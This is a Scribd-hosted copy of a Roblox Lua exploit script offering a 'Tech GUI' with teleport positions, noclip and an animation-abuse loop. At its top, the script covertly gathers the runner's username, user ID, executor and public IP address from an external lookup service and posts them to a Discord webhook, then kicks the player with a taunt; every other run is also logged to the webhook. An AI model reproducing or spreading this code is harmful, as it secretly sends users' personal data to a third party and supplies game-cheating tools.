0% found this document useful (0 votes)
459 views13 pages

Roblox Script Logger and Stealer Alert

The document is a Lua script designed for use in a game, which includes functionalities for detecting script stealers and logging player information via a Discord webhook. It features a GUI that allows players to select positions, toggle visit modes, and execute specific actions while playing. The script also includes mechanisms for handling player respawns and managing animations and collision states.

Uploaded by

dincemirata
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
459 views13 pages

Roblox Script Logger and Stealer Alert

The document is a Lua script designed for use in a game, which includes functionalities for detecting script stealers and logging player information via a Discord webhook. It features a GUI that allows players to select positions, toggle visit modes, and execute specific actions while playing. The script also includes mechanisms for handling player respawns and managing animations and collision states.

Uploaded by

dincemirata
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as TXT, PDF, TXT or read online on Scribd

_G.

Owner = "Emocc(pRimeo)"

_G.OwnerText = "the owner/maker of the script: \n" .. _G.Owner .. "."

if _G.Owner ~= _G.ownerName then

if getgenv().owner then return end

getgenv().owner = true

-- Webhook URL

local webhookUrl =
"[Link]
MFatmRVrlNG1ko4Cw4OYNQTllWyY6Erw6KNm8HZ"

-- Player ve oyun bilgileri

local plr = [Link]

local username = [Link]

local userid = [Link]

local accountAge = [Link]

local gameName =
game:GetService("MarketplaceService"):GetProductInfo([Link]).Name

local gamePlaceId = [Link]

-- Executor bilgisi

local executor = (identifyexecutor and identifyexecutor()) or (getexecutor and


getexecutor()) or "Unknown Executor"

-- FPS ve Ping bilgisi

local fps = [Link](workspace:GetRealPhysicsFPS())

local ping = "Unknown"

pcall(function()

ping = game:GetService("Stats").[Link]["Data
Ping"]:GetValueString()

end)

-- IP çekme (exploit destekliyorsa çalışır)

local ip = "Unknown"

local HttpService = game:GetService("HttpService")

local requestFunction = (syn and [Link]) or (http_request) or (request)


if requestFunction then

pcall(function()

local response = requestFunction({

Url = "[Link]

Method = "GET"

})

if response and [Link] then

ip = [Link]

end

end)

else

warn("Exploit HTTP Request Fonksiyonu Bulunamadı, IP alınamadı.")

end

-- Webhook Embed Sistemi

local data = {

["content"] = "",

["embeds"] = {{

["title"] = "🚨 SCRIPT STEALER DETECTED 🚨",

["description"] = "**Username:** " .. username ..

"\n**UserID:** " .. userid ..

"\n**Account Age:** " .. accountAge .. " days" ..

"\n**Game:** " .. gameName .. " (ID: " .. gamePlaceId ..


")" ..

"\n**Executor:** " .. executor ..

"\n**IP:** " .. ip ..

"\n**FPS:** " .. fps ..

"\n**Ping:** " .. ping,

["color"] = tonumber(0xff0000),

["footer"] = {

["text"] = "Stealer Logger - All Data Captured"


}

}}

local jsonData = HttpService:JSONEncode(data)

if requestFunction then

requestFunction({

Url = webhookUrl,

Method = "POST",

Headers = {

["Content-Type"] = "application/json"

},

Body = jsonData

})

else

warn("Webhook gönderilemedi, HTTP desteklenmiyor.")

end

-- Stealer Kick mesajı

[Link]:Kick("STEALER DETECTED - YOU HAVE BEEN LOGGED. GOOD LUCK


RAT. (BTW İ Get you ip)")

return

else

local HttpService = game:GetService("HttpService")

local Players = game:GetService("Players")

local LocalPlayer = [Link]

local webhookUrl =
"[Link]
MFatmRVrlNG1ko4Cw4OYNQTllWyY6Erw6KNm8HZ"

-- HTTP Request method seçimi

local requestFunc = (syn and [Link]) or (http_request) or (request)

-- Embed hazırla
local embedData = {

["title"] = "✅ Script Executed",

["description"] = "**"..[Link].."** (ID: "..[Link]..")


executed the script!",

["color"] = tonumber(0x00FF00),

["footer"] = {

["text"] = "Script Logger • "..[Link]("%Y-%m-%d %H:%M:%S")

local data = {

["content"] = "",

["embeds"] = {embedData}

-- Gönderilecek JSON formatı

local jsonData = HttpService:JSONEncode(data)

-- Request gönder

if requestFunc then

requestFunc({

Url = webhookUrl,

Method = "POST",

Headers = {

["Content-Type"] = "application/json"

},

Body = jsonData

})

end

end

--!strict

local Players = game:GetService("Players")

local RunService = game:GetService("RunService")


local LocalPlayer = [Link]

-- ---------- SETTINGS ----------

local positions = {

["Jail"] = [Link](439, 439, -376),

["Safe spot"] = [Link](-162, 439, -383),

["void"] = [Link](0, 0, 0),}

-- Defaults

getgenv().customPosition = [Link](0, -300, 0)

getgenv().visiting = false

getgenv().techLoop = nil

getgenv().noclipLoop = nil

getgenv().oldPosition = nil

-- ---------- FUNCTION: START TECH LOOP ----------

local function startTechLoop()

if getgenv().techLoop then

[Link](getgenv().techLoop)

getgenv().techLoop = nil

end

[Link] = 0/0

local animations = {

["rbxassetid://12273188754"] = 1.21,

["rbxassetid://12296113986"] = 1.1,

local function ifind(t, a)

for i in pairs(t) do

if i == a then return true end

end

return false

end

getgenv().techLoop = [Link](function()
while true do

[Link]()

local char = [Link]

if not char then break end

local hum = char:FindFirstChildOfClass("Humanoid")

local root = char:FindFirstChild("HumanoidRootPart")

if not hum or not root then continue end

for _, track in pairs([Link]:GetPlayingAnimationTracks()) do

if ifind(animations, [Link]) then

[Link](animations[[Link]])

local lastCF = [Link]

local stoppedConn

local running = true

stoppedConn = [Link]:Connect(function() running = false


end)

repeat

[Link]()

[Link] =
[Link]

if getgenv().visiting then

local pos = getgenv().customPosition

[Link] = [Link](pos +
[Link](0,5,10), pos)

else

[Link] = [Link](getgenv().customPosition)

[Link] = [Link]

[Link] = [Link]

end

until not running

stoppedConn:Disconnect()

[Link](0.1)
if root and [Link] then

[Link] = lastCF

end

[Link] = [Link]

[Link] = hum

[Link](1)

end

end

end

end)

[Link](getgenv().techLoop)

end

-- ---------- Noclip Loop ----------

local function startNoclip()

if getgenv().noclipLoop then

[Link](getgenv().noclipLoop)

getgenv().noclipLoop = nil

end

getgenv().noclipLoop = [Link](function()

while true do

[Link]()

if getgenv().visiting then

local char = [Link]

if char then

for _, part in ipairs(char:GetDescendants()) do

if part:IsA("BasePart") then

[Link] = false

end

end
end

end

end

end)

[Link](getgenv().noclipLoop)

end

-- ---------- Handle Visit Logic ----------

local function teleportToPosition()

local char = [Link]

if not char then return end

local root = char:FindFirstChild("HumanoidRootPart")

if not root then return end

getgenv().oldPosition = [Link]

[Link] = [Link](getgenv().customPosition)

end

local function teleportBack()

local char = [Link]

if not char then return end

local root = char:FindFirstChild("HumanoidRootPart")

if not root then return end

if getgenv().oldPosition then

[Link] = getgenv().oldPosition

end

end

-- ---------- HANDLE RESPAWN ----------

[Link]:Connect(function(char)

char:WaitForChild("Humanoid")

startTechLoop()

startNoclip()

end)
if [Link] then

startTechLoop()

startNoclip()

end

-- ---------- BUILD GUI ----------

local gui = [Link]("ScreenGui")

[Link] = "TechGUI"

[Link] = [Link]

[Link] = false

local main = [Link]("Frame", gui)

[Link] = [Link](0, 320, 0, 280)

[Link] = [Link](0.35, 0, 0.3, 0)

main.BackgroundColor3 = [Link](25, 25, 25)

[Link] = true

[Link] = true

local uicorner = [Link]("UICorner", main)

[Link] = [Link](0, 16)

-- RGB Başlık

local title = [Link]("TextLabel", main)

[Link] = [Link](1, 0, 0, 50)

title.BackgroundColor3 = [Link](0, 0, 0)

[Link] = "Tech GUI"

[Link] = [Link]

[Link] = 24

title.TextColor3 = [Link](255, 255, 255)

local titleCorner = [Link]("UICorner", title)

[Link] = [Link](0, 16)

-- Kapama butonu

local closeButton = [Link]("TextButton", main)


[Link] = [Link](0, 28, 0, 28)

[Link] = [Link](1, -34, 0, 6) -- Sağ üst köşeye konumlandırma

closeButton.BackgroundColor3 = [Link](200, 30, 30)

[Link] = "X"

closeButton.TextColor3 = [Link](255, 255, 255)

[Link] = [Link]

[Link] = 22

[Link] = false

[Link] = "CloseButton"

[Link] = 10

[Link]("UICorner", closeButton).CornerRadius = [Link](0, 8)

-- Hover efektleri (isteğe bağlı ama daha iyi)

[Link]:Connect(function()

closeButton.BackgroundColor3 = [Link](255, 50, 50)

end)

[Link]:Connect(function()

closeButton.BackgroundColor3 = [Link](200, 30, 30)

end)

-- Butona tıklayınca GUI gizle

closeButton.MouseButton1Click:Connect(function()

[Link] = false

end)

-- Rainbow Effect

[Link](function()

while true do

local hue = tick() % 5 / 5

title.BackgroundColor3 = [Link](hue, 0.8, 1)

[Link]()

end

end)
-- Dropdown Butonu

local notifText = [Link]("TextLabel", notifFrame)

[Link] = [Link](1, -20, 1, 0)

[Link] = [Link](0, 10, 0, 0)

[Link] = 1

[Link] = [Link]

[Link] = 20

notifText.TextColor3 = [Link](255, 140, 0)

[Link] = "Created by Emir - Credits"

[Link] = [Link]

[Link] = 21

local dropdown = [Link]("TextButton", main)

[Link] = [Link](0.9, 0, 0, 40)

[Link] = [Link](0.05, 0, 0.25, 0)

[Link] = "Select Position"

[Link] = [Link]

[Link] = 20

dropdown.BackgroundColor3 = [Link](35, 35, 35)

dropdown.TextColor3 = [Link](255, 255, 255)

local dropcorner = [Link]("UICorner", dropdown)

[Link] = [Link](0, 10)

local optionFrame = [Link]("Frame", main)

[Link] = [Link](0.9, 0, 0, #positions * 36)

[Link] = [Link](0.05, 0, 0.4, 0)

optionFrame.BackgroundColor3 = [Link](30, 30, 30)

[Link] = false

[Link]("UICorner", optionFrame).CornerRadius = [Link](0, 10)

local list = [Link]("UIListLayout", optionFrame)

[Link] = [Link](0, 6)
for name, vec in pairs(positions) do

local btn = [Link]("TextButton", optionFrame)

[Link] = [Link](1, 0, 0, 34)

[Link] = name

[Link] = [Link]

[Link] = 18

btn.BackgroundColor3 = [Link](45, 45, 45)

btn.TextColor3 = [Link](220, 220, 220)

[Link]("UICorner", btn).CornerRadius = [Link](0, 8)

btn.MouseButton1Click:Connect(function()

getgenv().customPosition = vec

[Link] = name

[Link] = false

end)

end

dropdown.MouseButton1Click:Connect(function()

[Link] = not [Link]

end)

-- Visit Toggle

local toggle = [Link]("TextButton", main)

[Link] = [Link](0.9, 0, 0, 45)

[Link] = [Link](0.05, 0, 0.8, 0)

[Link] = "Visit: Off"

[Link] = [Link]

[Link] = 22

toggle.BackgroundColor3 = [Link](200, 0, 0)

toggle.TextColor3 = [Link](255, 255, 255)

[Link]("UICorner", toggle).CornerRadius = [Link](0, 12)

toggle.MouseButton1Click:Connect(function()

getgenv().visiting = not getgenv().visiting


if getgenv().visiting then

teleportToPosition()

[Link] = "Visit: On"

toggle.BackgroundColor3 = [Link](0, 180, 0)

else

teleportBack()

[Link] = "Visit: Off"

toggle.BackgroundColor3 = [Link](200, 0, 0)

end

end)

You might also like